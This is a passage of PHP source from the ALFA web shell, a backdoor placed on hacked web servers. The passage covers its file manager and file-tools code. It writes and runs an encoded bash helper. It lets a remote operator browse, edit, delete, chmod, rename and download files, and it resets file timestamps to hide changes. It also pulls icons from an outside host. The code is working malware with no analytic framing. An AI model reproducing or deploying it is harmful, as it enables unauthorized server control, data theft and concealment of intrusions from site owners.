$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa", $bash);
__alfa_set_cookie("alfachdir_bash", "true");
__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
}
$dirContent = alfaEx("cd " . $tmp_getdir_path . "/alfacgiapi;sh getdir.alfa '" . addslashes(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']) . "'");
$dirContent = json_decode($dirContent, true);
if (is_array($dirContent)) {
array_pop($dirContent);
$cmd_dir = true;
} else {
$dirContent = false;
}
}
}
alfahead();
AlfaNum(8, 9, 10, 7, 6, 5, 4);
$count_dirContent = @count($dirContent);
if ($count_dirContent > 300) {
@($_COOKIE["alfa_limited_files"] = 100);
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int) $_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int) $_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
$files_page_count = 1;
if ($alfa_limited_files > 0) {
$files_page_count = ceil($count_dirContent / $alfa_limited_files);
if ($files_page_count > 1) {
$files_page_count++;
}
}
echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" ' . ($alfa_sort_by == 'name' ? 'selected' : '') . '>Name</option><option value="size" ' . ($alfa_sort_by == 'size' ? 'selected' : '') . '>Size</option><option value="modify" ' . ($alfa_sort_by == 'modify' ? 'selected' : '') . '>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" ' . ($alfa_filesman_direction == 'asc' ? 'selected' : '') . '>Ascending</option><option value="desc" ' . ($alfa_filesman_direction == 'desc' ? 'selected' : '') . '>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="' . $alfa_limited_files . '" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">' . ($count_dirContent - 1) . '</b></span></div><div class="header">';
if ($dirContent == false) {
echo "<center><br><span style=\"font-size:16px;\"><span style=\"color: red; -webkit-text-shadow: 1px 1px 13px;\"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>";
alfaFooter();
return;
}
global $sort;
$sort = array('name', 1);
if (isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])) {
$sort[0] = $_COOKIE["alfa_sort_by"];
}
if (!empty($_POST['alfa1'])) {
if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['alfa1'], $match)) {
$sort = array($match[1], (int) $match[2]);
}
}
if ($alfa_files_page_number > $files_page_count - 1) {
$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk" . $checkbox_rand . "' onclick='checkBox(this);' class='chkbx'><label for='mchk" . $checkbox_rand . "'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if ($n > $alfa_limited_files && $alfa_limited_files > 0) {
$n = $alfa_limited_files * $alfa_files_page_number;
if ($n > $count_dirContent) {
$n = $count_dirContent;
}
}
$i = 0;
if ($alfa_limited_files > 0 && $alfa_files_page_number > 1) {
$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number, $files_page_count - 1);
$cmd_dir_backp = "";
for (; $i < $n; $i++) {
if ($cmd_dir) {
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class" => $dirContent[$i]["permcolor"], "num" => $dirContent[$i]["permnum"], "human" => $dirContent[$i]["permhuman"]), true);
$file_size = $dirContent[$i]["size"];
if (substr($dirContent[$i]["name"], 0, 1) == "/") {
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
} else {
$file_path = $GLOBALS['cwd'] . "/" . $dirContent[$i]["name"];
}
} else {
$filename = $dirContent[$i];
$ow = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($GLOBALS['cwd'] . $filename)) : array("name" => "????");
$gr = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($GLOBALS['cwd'] . $filename)) : array("name" => "????");
$file_owner = $ow['name'] ? $ow['name'] : (function_exists("fileowner") ? @fileowner($GLOBALS['cwd'] . $filename) : "????");
$file_group = $gr['name'] ? $gr['name'] : (function_exists("filegroup") ? @filegroup($GLOBALS['cwd'] . $filename) : "????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = alfaPermsColor($GLOBALS['cwd'] . $filename);
$file_size = @filesize($GLOBALS['cwd'] . $filename);
$file_path = $GLOBALS['cwd'] . $filename;
}
$tmp = array('name' => $filename, 'path' => $file_path, 'modify' => $file_modify, 'perms' => $file_perm, 'size' => $file_size, 'owner' => $file_owner, 'group' => $file_group);
if ($filename == ".." && !$cmd_dir) {
$tmp["path"] = str_replace("\\", "/", realpath($file_path));
}
if (!$cmd_dir) {
if (@is_file($file_path)) {
$arr_mrg = array('type' => 'file');
if (@is_link($file_path)) {
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
} elseif (@is_link($file_path)) {
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
} elseif (@is_dir($file_path) && $filename != ".") {
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
} else {
if ($dirContent[$i]["type"] == "file") {
$files[] = array_merge($tmp, array('type' => 'file'));
} else {
if ($dirContent[$i]["name"] != ".") {
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}
}
}
$GLOBALS['sort'] = $sort;
function alfaCmp($a, $b)
{
if ($GLOBALS['sort'][0] != 'size') {
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
} else {
return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
}
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if (isset($_COOKIE["alfa_filesman_direction"]) && !empty($_COOKIE["alfa_filesman_direction"])) {
if ($_COOKIE["alfa_filesman_direction"] == 'desc') {
$files = array_reverse($files);
$dirs = array_reverse($dirs);
}
}
$files = array_merge($dirs, $files);
$l = 0;
$cc = 0;
foreach ($files as $f) {
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8') > 60 ? mb_substr($f['name'], 0, 60, 'utf-8') . '...' : $f['name'];
$checkbox = 'checkbox_' . $checkbox_rand . $cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons'] ? '<img src="' . findicon($f['name'], $f['type']) . '" width="30" height="30">' : '';
$style = $GLOBALS['DB_NAME']['show_icons'] ? 'position:relative;display:inline-block;bottom:12px;' : '';
echo '<tr class="fmanager-row" id="tr_row_' . $cc . '"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="' . $raw_name . '" class="chkbx" id="' . $checkbox . '"><label for="' . $checkbox . '"></label></div></td><td id="td_row_' . $cc . '">' . $icon . '<div style="' . $style . '"><a row="' . $cc . '" id="id_' . $cc . '" class="main_name" onclick="' . ($f['type'] == 'file' ? 'editor(\'' . $raw_name . '\',\'auto\',\'\',\'\',\'\',\'' . $f['type'] . '\');" href="#action=fileman&path=' . $GLOBALS['cwd'] . '&file=' . $raw_name . '" fname="' . $raw_name . '" ftype="file" path="' . $GLOBALS['cwd'] . '" opt_title="' . $f['link'] . '" ' . (isset($f['link']) ? 'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"' : '') . '>' . ($GLOBALS['cwd'] . $f['name'] == $GLOBALS['__file_path'] ? "<span class='shell_name' style='font-weight:unset;'>" . $f['name'] . "</span>" : htmlspecialchars($newname)) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" href="#action=fileman&path=' . $f['path'] . '" fname="' . $raw_name . '" ftype="folder" path="' . $GLOBALS['cwd'] . '" opt_title="' . $f['link'] . '" ' . (isset($f['link']) ? 'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"' : '') . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>') . '</a></td></div><td><span style="font-weight:unset;" class="main_size">' . ($f['type'] == 'file' ? (isset($f['link']) ? '[L] ' : '') . alfaSize($f['size']) : $f['type']) . '</span></td><td><span style="font-weight:unset;" class="main_modify">' . $f['modify'] . '</span></td><td><span style="font-weight:unset;" class="main_owner_group">' . $f['owner'] . '/' . $f['group'] . '</span></td><td><a id="id_chmode_' . $cc . '" href=javascript:void(0) onclick="editor(\'' . $raw_name . '\',\'chmod\',\'\',\'\',\'\',\'' . $f['type'] . '\')">' . $f['perms'] . '</td><td><a id="id_rename_' . $cc . '" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'rename\',\'\',\'\',\'\',\'' . $f['type'] . '\')">R</a> <a id="id_touch_' . $cc . '" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'touch\',\'\',\'\',\'\',\'' . $f['type'] . '\')">T</a>' . ($f['type'] == 'file' ? ' <a id="id_edit_' . $cc . '" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\'' . $raw_name . '\', \'edit\',\'\',\'\',\'\',\'' . $f['type'] . '\')">E</a> <a id="id_download_' . $cc . '" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $raw_name . '\', \'download\')">D</a>' : '') . '<a id="id_delete_' . $cc . '" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # ' . addslashes(rawurldecode($f['name'])) . ' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'' . $raw_name . '\') : \'\';"> X </a></td></tr>';
$l = $l ? 0 : 1;
$cc++;
}
echo "<tr id='filemanager_last_tr'><td colspan=7>\r\n<input type=hidden name=a value='FilesMan'>\r\n<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['glob_chdir_false'] ? $_POST['c'] : $GLOBALS['cwd']) . "'>\r\n<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>\r\n<input type='submit' value=' '>\r\n</form></table><div class='pages-holder'><div class='pages-number'>" . $page_builder . "</div></div></div></div>";
alfafooter();
}
function get_pagination_links($current_page, $total_pages)
{
$links = "";
if ($total_pages >= 1 && $current_page <= $total_pages) {
$links = "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
$selected_page = "";
if ($current_page == 1) {
$selected_page = " active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">1</a>";
$i = max(2, $current_page - 5);
if ($i > 2) {
$links .= "<a class=\"page-number\">...</a>";
}
for (; $i < min($current_page + 6, $total_pages); $i++) {
if ($i == $current_page) {
$selected_page = " active-page-number";
} else {
$selected_page = "";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">{$i}</a>";
}
if ($i != $total_pages) {
$links .= "<a class=\"page-number\">...</a>";
}
$selected_page = " last-page-number";
if ($current_page == $total_pages) {
$selected_page = " last-page-number active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number" . $selected_page . "\">{$total_pages}</a>";
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
}
return $links;
}
function alfaFilesTools()
{
alfahead();
echo "<div class=\"filestools\" style=\"height: 100%;\">";
if (isset($_POST['alfa1'])) {
$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
}
$alfa1_decoded = $_POST['alfa1'];
$chdir_fals = false;
if (!@chdir($_POST['c'])) {
$chdir_fals = true;
$_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
$alfa_canruncmd = _alfa_can_runCommand(true, true);
if ($alfa_canruncmd) {
$slashed_alfa1 = addslashes($_POST['alfa1']);
$file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "' . $slashed_alfa1 . '"'));
$perm_color_class = alfaEx("if [[ -w '" . $slashed_alfa1 . "' ]]; then echo main_green_perm; elif [[ -r '" . $slashed_alfa1 . "' ]]; then echo main_white_perm; else echo main_red_perm; fi");
}
}
if ($_POST['alfa2'] == 'auto') {
if (is_array(@getimagesize($_POST['alfa1']))) {
$_POST['alfa2'] = 'image';
} else {
$_POST['alfa2'] = 'view';
if ($chdir_fals) {
if ($alfa_canruncmd) {
$mime = explode(":", alfaEx("file --mime-type '" . addslashes($_POST['alfa1']) . "'"));
$mimetype = $mime[1];
if (!empty($mimetype)) {
if (strstr($mimetype, "image")) {
$_POST['alfa2'] = 'image';
}
}
}
}
}
}
if ($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])) {
$rename_cache = $_POST['alfa3'];
}
if (@$_POST['alfa2'] == 'mkfile') {
$_POST['alfa1'] = trim($_POST['alfa1']);
if ($chdir_fals && $alfa_canruncmd) {
if (_alfa_is_writable($_POST["c"])) {
alfaEx("cd '" . addslashes($_POST["c"]) . "';touch '" . addslashes($alfa1_decoded) . "'");
$_POST['alfa2'] = "edit";
}
}
if (!@file_exists($_POST['alfa1'])) {
$fp = @fopen($_POST['alfa1'], 'w');
if ($fp) {
$_POST['alfa2'] = "edit";
fclose($fp);
}
} else {
$_POST['alfa2'] = "edit";
}
}
if (!_alfa_file_exists(@$_POST['alfa1'])) {
echo __pre() . "<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('" . $_POST['alfa4'] . "');</script>";
alfaFooter();
return;
}
if ($chdir_fals) {
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class" => $perm_color_class, "num" => $file_info[5], "human" => $file_info[6]), true);
} else {
$uid = function_exists("posix_getpwuid") && function_exists("fileowner") ? @posix_getpwuid(@fileowner($_POST['alfa1'])) : '';
$gid = function_exists("posix_getgrgid") && function_exists("filegroup") ? @posix_getgrgid(@filegroup($_POST['alfa1'])) : '';
if (!$uid && !$gid) {
$uid['name'] = function_exists("fileowner") ? @fileowner($_POST['alfa1']) : '';
$gid['name'] = function_exists("filegroup") ? @filegroup($_POST['alfa1']) : '';
}
$permcolor = alfaPermsColor($_POST['alfa1']);
$filesize = @filesize($_POST['alfa1']);
if (!isset($uid['name'], $gid['name']) || empty($uid['name']) || empty($gid['name'])) {
if (_alfa_can_runCommand()) {
list($uid['name'], $gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "' . addslashes($_POST["c"] . "/" . $_POST["alfa1"]) . '"'));
}
}
}
if (substr($_POST['alfa1'], 0, 7) == "phar://") {
$alfa_file_directory = $_POST['alfa1'];
} else {
$alfa_file_directory = str_replace("//", "/", ($chdir_fals ? "" : $_POST['c'] . '/') . $_POST['alfa1']);
}
echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> ' . htmlspecialchars(basename($alfa1_decoded)) . ' <span class="editor_file_info_vars">Size:</span> ' . alfaSize($filesize) . ' <span class="editor_file_info_vars">Permission:</span> ' . $permcolor . ' <span class="editor_file_info_vars">Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . ' <span class="editor_file_info_vars">Directory:</span> ' . dirname($alfa_file_directory) . '</div>';
if (empty($_POST['alfa2'])) {
$_POST['alfa2'] = 'view';
}
if (!_alfa_is_dir($_POST['alfa1'])) {
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
} else {
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo "<div>";
foreach ($m as $v) {
echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\'):\'\';"><span class="editor_actions">' . (strtolower($v) == @$_POST['alfa2'] ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\'' . addslashes(!isset($rename_cache) ? $_POST['alfa1'] : $rename_cache) . '\',\'' . strtolower($v) . '\',\'\',\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\')"><span class="editor_actions">' . (strtolower($v) == @$_POST['alfa2'] ? '<b><span class="editor_actions"> ' . $v . ' </span> </b>' : $v) . ' | </span></a>';
}
echo "</div>";
switch ($_POST['alfa2']) {
case 'view':
case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if (!@is_writable($_POST['alfa1']) && !_alfa_is_writable($_POST['alfa1'])) {
$disabled_btn = "disabled=disabled";
$disabled_btn_style = 'background: #ff0000;color: #fff;';
}
if (!empty($_POST['alfa3'])) {
$_POST['alfa3'] = substr($_POST['alfa3'], 1);
$time = @filemtime($_POST['alfa1']);
$fp = @__write_file($_POST['alfa1'], $_POST['alfa3']);
if ($chdir_fals && $alfa_canruncmd) {
$rname = $alfa1_decoded;
$randname = $rname . rand(111, 9999);
$filepath = dirname($_SERVER["SCRIPT_FILENAME"]) . "/" . $randname;
if ($fp = @__write_file($filepath, $_POST['alfa3'])) {
alfaEx("mv '" . addslashes($filepath) . "' '" . addslashes($_POST["alfa1"]) . "';rm -f '" . addslashes($filepath) . "'");
}
}
if ($fp) {
echo "Saved!<br>";
@touch($_POST['alfa1'], $time, $time);
}
}
echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">' . _alfa_load_ace_options("editor") . '<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\'' . addslashes($alfa1_decoded) . '\',\'edit\',\'1\'+ace_val,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;' . $disabled_btn_style . '" ' . $disabled_btn . '>save</button></div><pre class="ml1 view_ml_content">';
echo htmlspecialchars(__read_file($_POST['alfa1']));
echo "</pre></div></div>";
break;
case 'highlight':
@chdir($_POST['c']);
if (@is_readable($_POST['alfa1'])) {
echo "<div class=\"editor-view\"><div class=\"view-content\"><div class=\"ml1\" style=\"background-color: #e1e1e1;color:black;\">";
$code = @highlight_file($_POST['alfa1'], true);
echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div></div></div>';
}
break;
case 'delete':
@chdir($_POST['c']);
if (@is_writable($_POST['alfa1']) || $GLOBALS["glob_chdir_false"]) {
$deleted = true;
if (!@unlink($_POST['alfa1'])) {
$deleted = false;
if ($alfa_canruncmd) {
if (_alfa_is_writable($_POST['alfa1'])) {
alfaEx("rm -f '" . addslashes($_POST['alfa1']) . "'");
$deleted = true;
}
}
}
if ($deleted) {
echo 'File Deleted...<script>var elem = $("' . $_POST['alfa4'] . '").parentNode;elem.parentNode.removeChild(elem);delete editor_files["' . $_POST['alfa4'] . '"];</script>';
} else {
echo "Error...";
}
}
break;
case 'chmod':
@chdir($_POST['c']);
if (!empty($_POST['alfa3'])) {
$perms = 0;
for ($i = strlen($_POST['alfa3']) - 1; $i >= 0; --$i) {
$perms += (int) $_POST['alfa3'][$i] * pow(8, strlen($_POST['alfa3']) - $i - 1);
}
if (!@chmod($_POST['alfa1'], $perms)) {
if ($chdir_fals && $alfa_canruncmd) {
alfaEx("cd '" . addslashes($_POST["c"]) . "';chmod " . addslashes($_POST['alfa3']) . " '" . addslashes($alfa1_decoded) . "'");
echo "Success!";
} else {
echo "<font color=\"#FFFFFF\"><b>Can't set permissions!</b></font><br><script>document.mf.alfa3.value=\"\";</script>";
}
} else {
echo "Success!";
}
}
clearstatcache();
AlfaNum(8, 9, 10, 7, 6, 5, 4, 2, 1);
if ($chdir_fals) {
$file_perm = $file_info[5];
} else {
$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])), -4);
}
echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.chmod.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="chmod" value="' . $file_perm . '"><input type=submit value=" "></form>';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['alfa1']);
$n = 0;
$h = array('00000000<br>', '', '');
$len = strlen($c);
for ($i = 0; $i < $len; ++$i) {
$h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
switch (ord($c[$i])) {
case 0:
$h[2] .= ' ';
break;
case 9:
$h[2] .= ' ';
break;
case 10:
$h[2] .= ' ';
break;
case 13:
$h[2] .= ' ';
break;
default:
$h[2] .= $c[$i];
break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i + 1 < $len) {
$h[0] .= sprintf('%08X', $i + 1) . '<br>';
}
$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table></div></div>';
break;
case 'rename':
@chdir($_POST['c']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if (!empty($_POST['alfa3'])) {
$cmd_rename = false;
if ($chdir_fals && $alfa_canruncmd) {
if (_alfa_is_writable($_POST['alfa1'])) {
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa3']) . "'");
} else {
$cmd_rename = true;
}
} else {
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if (!@rename($_POST['alfa1'], $_POST['alfa3']) && $cmd_rename) {
echo "Can't rename!<br>";
} else {
echo 'Renamed!<script>try{$("' . $_POST['alfa4'] . '").innerHTML = "<div class=\'editor-icon\'>"+loadType(\'' . $alfa3_escape . '\',\'' . $ftype . '\',\'' . $_POST['alfa4'] . '\')+"</div><div class=\'editor-file-name\'>' . $alfa3_escape . '</div>";editor_files["' . $_POST['alfa4'] . '"].file = "' . $alfa3_escape . '";updateFileEditor("' . $alfa1_escape . '", "' . $alfa3_escape . '");' . ($ftype == "dir" ? "updateDirsEditor('" . $_POST['alfa4'] . "','" . $alfa1_escape . "');" : "") . '}catch(e){console.log(e)}</script>';
$alfa1_escape = $alfa3_escape;
}
}
echo '<form onsubmit="editor(\'' . $alfa1_escape . '\',\'' . $_POST['alfa2'] . '\',this.name.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="name" value="' . addslashes(htmlspecialchars(isset($_POST['alfa3']) && $_POST['alfa3'] != '' ? $_POST['alfa3'] : $alfa1_decoded)) . '"><input type=submit value=" "></form>';
break;
case 'touch':
@chdir($_POST['c']);
if (!empty($_POST['alfa3'])) {
$time = strtotime($_POST['alfa3']);
if ($time) {
$touched = false;
if ($chdir_fals && $alfa_canruncmd) {
alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa3'])) . "' '" . addslashes($alfa1_decoded) . "'");
$touched = true;
}
if (!@touch($_POST['alfa1'], $time, $time) && !$touched) {
echo "Fail!";
} else {
echo "Touched!";
}
} else {
echo "Bad time format!";
}
}
clearstatcache();
echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.touch.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", $chdir_fals ? $file_info[4] : @filemtime($_POST['alfa1'])) . '"><input type=submit value=" "></form>';
break;
case 'image':
@chdir($_POST['c']);
echo "<hr>";
$file = $_POST['alfa1'];
$image_info = @getimagesize($file);
if (is_array($image_info) || $chdir_fals) {
$width = (int) $image_info[0];
$height = (int) $image_info[1];
if ($chdir_fals && $alfa_canruncmd) {
$source = alfaEx("cat '" . addslashes($file) . "' | base64");
list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '" . addslashes($file) . "'"));
$mime = explode(":", alfaEx("file --mime-type '" . addslashes($file) . "'"));
$image_info['mime'] = $mime[1];
} else {
$source = __ZW5jb2Rlcg(__read_file($file, false));
}
$image_info_h = "Image type = <span>[</span> " . $image_info['mime'] . " <span>]</span><br>Image Size = <span>[ </span>" . $width . " x " . $height . "<span> ]</span><br>";
if ($width > 800) {
$width = 800;
}
echo $content = "<div class='editor-view'><div class='view-content'><center>" . $image_info_h . "<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:" . $image_info['mime'] . ";base64," . $source . "' alt='" . $file . "'></center></div></div><br>";
}
break;
}
echo "</div>";
alfaFooter();
}
function findicon($file, $type)
{
$s = 'http://solevisible.com/icons/';
$types = array('json', 'ppt', 'pptx', 'xls', 'xlsx', 'msi', 'config', 'cgi', 'pm', 'c', 'cpp', 'cs', 'java', 'aspx', 'asp', 'db', 'ttf', 'eot', 'woff', 'woff2', 'woff', 'conf', 'log', 'apk', 'cab', 'bz2', 'tgz', 'dmg', 'izo', 'jar', '7z', 'iso', 'rar', 'bat', 'sh', 'alfa', 'gz', 'tar', 'php', 'php4', 'php5', 'phtml', 'html', 'xhtml', 'shtml', 'htm', 'zip', 'png', 'jpg', 'jpeg', 'gif', 'bmp', 'ico', 'txt', 'js', 'rb', 'py', 'xml', 'css', 'sql', 'htaccess', 'pl', 'ini', 'dll', 'exe', 'mp3', 'mp4', 'm4a', 'mov', 'flv', 'swf', 'mkv', 'avi', 'wmv', 'mpg', 'mpeg', 'dat', 'pdf', '3gp', 'doc', 'docx', 'docm');
if ($type != 'file') {
return $file == '..' ? "http://solevisible.com/icons/back.png" : "http://solevisible.com/icons/folder.png";
} else {
$ext = explode('.', $file);
$ext = end($ext);
$ext = strtolower($ext);
return in_array($ext, $types) ? $s . $ext . '.png' : "http://solevisible.com/icons/notfound.png";
}
}
function alfadlfile()
{
if (isset($_POST['c'], $_POST['file'])) {
$basename = rawurldecode(basename($_POST['file']));
$_POST['file'] = str_replace("//", "/", $_POST['c'] . '/' . $basename);
$alfa_canruncmd = _alfa_can_runCommand(true, true);
